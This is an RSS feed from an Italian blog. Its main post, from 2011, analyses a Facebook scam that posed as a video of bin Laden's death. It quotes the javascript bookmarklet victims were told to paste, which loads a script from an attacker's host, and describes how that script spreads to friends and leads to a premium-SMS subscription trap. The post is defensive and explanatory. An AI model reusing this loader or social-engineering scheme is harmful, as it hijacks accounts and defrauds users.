<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Qualsiasi &#187; facebook</title>
	<atom:link href="http://www.qualsiasi.net/tag/facebook/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.qualsiasi.net</link>
	<description>perchè a tutti piace il qualunquismo.</description>
	<lastBuildDate>Thu, 05 Jan 2012 22:12:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Il video di Osama su Facebook, anatomia di un &#8220;virus&#8221;.</title>
		<link>http://www.qualsiasi.net/2011/il-video-di-osama-su-facebook-anatomia-di-un-virus/</link>
		<comments>http://www.qualsiasi.net/2011/il-video-di-osama-su-facebook-anatomia-di-un-virus/#comments</comments>
		<pubDate>Thu, 05 May 2011 09:37:17 +0000</pubDate>
		<dc:creator>Qualsiasi</dc:creator>
				<category><![CDATA[varie]]></category>
		<category><![CDATA[bin laden]]></category>
		<category><![CDATA[cellulare]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[osama]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://www.qualsiasi.net/?p=283</guid>
		<description><![CDATA[Virus virgolettato, perché lo è formalmente &#8211; ma a ben vedere, non è un infezione &#8220;cronica&#8221; &#8211; dura il tempo di esecuzione di uno script. Da ieri, che io sappia, gira su facebook un link che dovrebbe contenere il video dell&#8217;esecuzione di Osama Bin Laden. Ovviamente è un falso e quando si clicca viene presentata [...]]]></description>
			<content:encoded><![CDATA[<p>Virus virgolettato, perché lo è formalmente &#8211; ma a ben vedere, non è un infezione &#8220;cronica&#8221; &#8211; dura il tempo di esecuzione di uno script. Da ieri, che io sappia, gira su facebook un link che dovrebbe contenere il video dell&#8217;esecuzione di Osama Bin Laden. Ovviamente è un falso e quando si clicca viene presentata una pagina di questo tipo:</p>
<div id="attachment_284" class="wp-caption aligncenter" style="width: 553px"><a href="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/05/Schermata-2011-05-05-a-11.04.58.png"><img class="size-full wp-image-284" title="Schermata 2011-05-05 a 11.04.58" src="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/05/Schermata-2011-05-05-a-11.04.58.png" alt="" width="543" height="535" /></a><p class="wp-caption-text">Fan page incriminata su Facebook</p></div>
<p>Innanzitutto copiare e incollare qualcosa che non si capisce (e che palesemente non è un indirizzo web) nella barra degli indirizzi è cosa cattiva e sbagliata. Facebook ce la mette tutta, filtrando i contenuti visualizzabili sulle sue pagine interne &#8211; e di fatti per aggirare le restrizioni che non permetterebbero il diffondersi di certi programmi (script) malevoli, il cattivone di turno deve affidarsi al mitico errore PEBKAC ( &#8220;Problem Exists Between Keyboard And Chair&#8221; ) ovvero all&#8217;utente poco saggio che fa tutto quello che gli dici senza sapere cosa sta facendo. Fantastico.</p>
<p>Andiamo oltre e vediamo qual&#8217;è il codice che dobbiamo copiare e incollare.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span><span style="color: #009900;">&#40;</span>a<span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span>b<span style="color: #339933;">=</span>document<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'script'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">src</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'//strummer5202.info/you/joe.php?'</span><span style="color: #339933;">+</span>Math.<span style="color: #660066;">random</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
b.<span style="color: #660066;">body</span>.<span style="color: #660066;">appendChild</span><span style="color: #009900;">&#40;</span>a<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">void</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span></pre></div></div>

<p>Ho riformattato leggermente il codice per una più facile lettura. In pratica esegue un comando &#8220;inline&#8221; javascript che crea un elemento script e e nel campo SRC inserisce l&#8217;url  &#8221;strummer5202.info/you/joe.php&#8221; concatenandoci un numero casuale. La seconda riga inserisce nel documento corrente lo script appena creato, mentre l&#8217;ultima linea non esegue nulla. Notare l&#8217;utilizzo della virgola invece del punto e virgola, è il &#8220;comma operator&#8221; &#8211; una finezza che non sono sicuro fosse necessaria.</p>
<p>Vediamo brevemente il codice che viene inserito nella pagina da questo comando:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// Il codice l'ho rimosso perchè mi rovinava il layout</span>
<span style="color: #006600; font-style: italic;">// e comunque non era così interessante, se avete </span>
<span style="color: #006600; font-style: italic;">// conoscenza di AJAX, potete scrivervelo in pochi minuti</span>
<span style="color: #006600; font-style: italic;">// da soli.</span></pre></div></div>

<p>Senza entrare nel dettaglio, vediamo come come prima cosa legge un cookie, che evidentemente serve per comunicare con facebook &#8211; poi scarica la lista degli amici e inserisce il link sulla bacheca dei primi 400 amici. In seguito manipola lo stile della barra inferiore per nasconderla, e invia il link anche a tutti gli amici online in chat. Come ultima cosa, porta l&#8217;utente ad una pagina esterna a facebook, dove viene chiesto di verificare l&#8217;account inserendo il numero di telefono. La pagina si presenta come &#8220;verosimile&#8221; anche se lo stile non è proprio quello ufficiale di facebook, e l&#8217;italiano è un po&#8217; troppo informale.</p>
<div id="attachment_285" class="wp-caption aligncenter" style="width: 540px"><a href="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/05/Schermata-2011-05-05-a-11.30.17.png"><img class="size-full wp-image-285 " title="Schermata 2011-05-05 a 11.30.17" src="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/05/Schermata-2011-05-05-a-11.30.17.png" alt="" width="530" height="330" /></a><p class="wp-caption-text">Inserisci il tuo numero e ritrovati il credito prosciugato.</p></div>
<p>Ovviamente non ho inserito il numero, ma è verosimile pensare che ci si abboni a qualche servizio a pagamento, possibilmente molto costoso &#8211; così oltre al danno anche la beffa. Il riquadro è un frame, che contiene un altro sito di servizi in abbonamento per telefoni cellulari. Non so se l&#8217;indirizzo viene generato dinamicamente, comunque il frame intero, e non ritagliato &#8220;ad hoc&#8221; contiene anche le informazioni sul servizio a cui ci si ritrova abbonati inserendo il proprio numero:</p>
<blockquote><p><strong>Servizio in abbonamento, riservato ai maggiorenni,</strong> disponibile  per i clienti di TIM, Vodafone, WIND e 3. Prima di attivare il servizio e  scaricare il contenuto, confermare di aver letto Termini di Servizio,  [...]<strong> costo del servizio 5 Euro a settimana IVA inc.</strong> Dal costo del servizio è <strong>escluso il traffico WAP dove previsto.</strong> Costo SMS di richiesta TIM e WIND 12,4 centesimi IVA inc. (WIND: 50  centesimi IVA inc. dall&#8217;estero), Vodafone e 3 secondo proprio piano  tariffario. [...] Per disattivare manda un SMS con  scritto <strong>RI STOP al 4890897.</strong></p></blockquote>
<p>Il servizio sembra completamente legittimo (anche perchè in collaborazione con una grande azienda di telecomunicazioni), ho tagliato alcune parti in cui compare il nome del fornitore del servizio perché la mia impressione è che non centri assolutamente con l&#8217;autore del &#8220;virus&#8221; che voleva semplicemente fare più danni possibile.</p>
<p>UPDATE: mi hanno risposto via email i gestori del &#8220;frame&#8221; che veniva incluso nella pagina finale &#8211; ed ovviamente sono completamente estranei alla vicenda, io lascio il numero per la disattivazione del servizio nel caso qualche lettore sprovveduto si fosse a sua insaputa iscritto al servizio. Il sito &#8220;verifica-account.com&#8221; è già offline come anche il sito &#8220;strummer5202.info&#8221; &#8211; direi che le autorità o chi per loro (amministratori dei vari ISP coinvolti) sono stati veloci.</p>
 <img src="http://www.qualsiasi.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=283" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.qualsiasi.net/2011/il-video-di-osama-su-facebook-anatomia-di-un-virus/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Facebook Mail?</title>
		<link>http://www.qualsiasi.net/2009/facebook-mail/</link>
		<comments>http://www.qualsiasi.net/2009/facebook-mail/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 21:17:44 +0000</pubDate>
		<dc:creator>Qualsiasi</dc:creator>
				<category><![CDATA[varie]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[web 2.0]]></category>

		<guid isPermaLink="false">http://www.qualsiasi.net/?p=108</guid>
		<description><![CDATA[No, molto probabilmente è solo un indizio che non porta a nulla, ma l&#8217;URL della posta in arrivo (interna) su Facebook è: http://www.facebook.com/inbox/?folder=[fb]messages Quella tag [fb] potrebbe essere precorritrice di una possibile integrazione di qualche altro tipo di mail nel social network. Magari mail @facebook.com, oppure client POP/IMAP per usare Gmail/altre caselle nel sito. Oppure, [...]]]></description>
			<content:encoded><![CDATA[<p>No, molto probabilmente è solo un indizio che non porta a nulla, ma l&#8217;URL della posta in arrivo (interna) su Facebook è:</p>
<blockquote><p>http://www.facebook.com/inbox/?folder=[fb]messages</p></blockquote>
<p>Quella tag [fb] potrebbe essere precorritrice di una possibile integrazione di qualche altro tipo di mail nel social network. Magari mail @facebook.com, oppure client POP/IMAP per usare Gmail/altre caselle nel sito. Oppure, molto più probabilmente, non significa nulla.</p>
 <img src="http://www.qualsiasi.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=108" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.qualsiasi.net/2009/facebook-mail/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

